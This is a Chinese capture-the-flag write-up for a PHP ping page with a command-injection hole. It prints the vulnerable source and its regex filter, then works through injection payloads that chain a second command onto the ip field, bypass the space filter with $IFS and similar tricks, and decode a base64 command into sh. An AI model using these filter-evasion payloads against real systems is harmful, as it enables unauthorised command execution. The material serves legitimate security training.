0x00 知識點
命令執行變量拼接
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
過濾bash用sh執行
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
內聯執行
將反引號內命令的輸出作為輸入執行
?ip=127.0.0.1;cat$IFS$9`ls`
0x01 解題
打開題目,聯想到XCTF中的一道題目
命令執行的方法大抵是加上管道符或者分號,那么試試管道符
/?ip=127.0.0.1|ls

看到flag.php
index.php
試着讀flag.php

看到提示空格被ban:
繞過空格的方法大概有以下幾種:
$IFS
${IFS}
$IFS$1 //$1改成$加其他數字貌似都行
<
<>
{cat,flag.php} //用逗號實現了空格功能
%20
%09
ps:有時會禁用cat:
解決方法是使用tac反向輸出命令:
linux命令中可以加\,所以甚至可以ca\t /fl\ag
嘗試
發現{被ban
$IFS$1:

flag被ban。。
我們先來試着讀取一下index.php:

/?ip=|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);}
?>
過濾了許多標點,空格,bash,包括flag的貪婪匹配。那么自己印象中幾種做法:
1.cat fl* 利用*匹配任意 不行
2.echo "Y2F0IGZsYWcucGhw"| base64 -d | bash 也不行
3.ca\t fl\ag.php 不行
4.cat fl''ag.php 不行
解決辦法:
變量拼接
我們看到源碼中有一個$a變量可以覆蓋
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

官方:
過濾bash?那就用sh。sh的大部分腳本都可以在bash下運行。
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
內聯執行的做法:
?ip=127.0.0.1;cat$IFS$9`ls`
內聯,就是將反引號內命令的輸出作為輸入執行
參考鏈接:
https://www.jianshu.com/p/fd7f9fcc9333
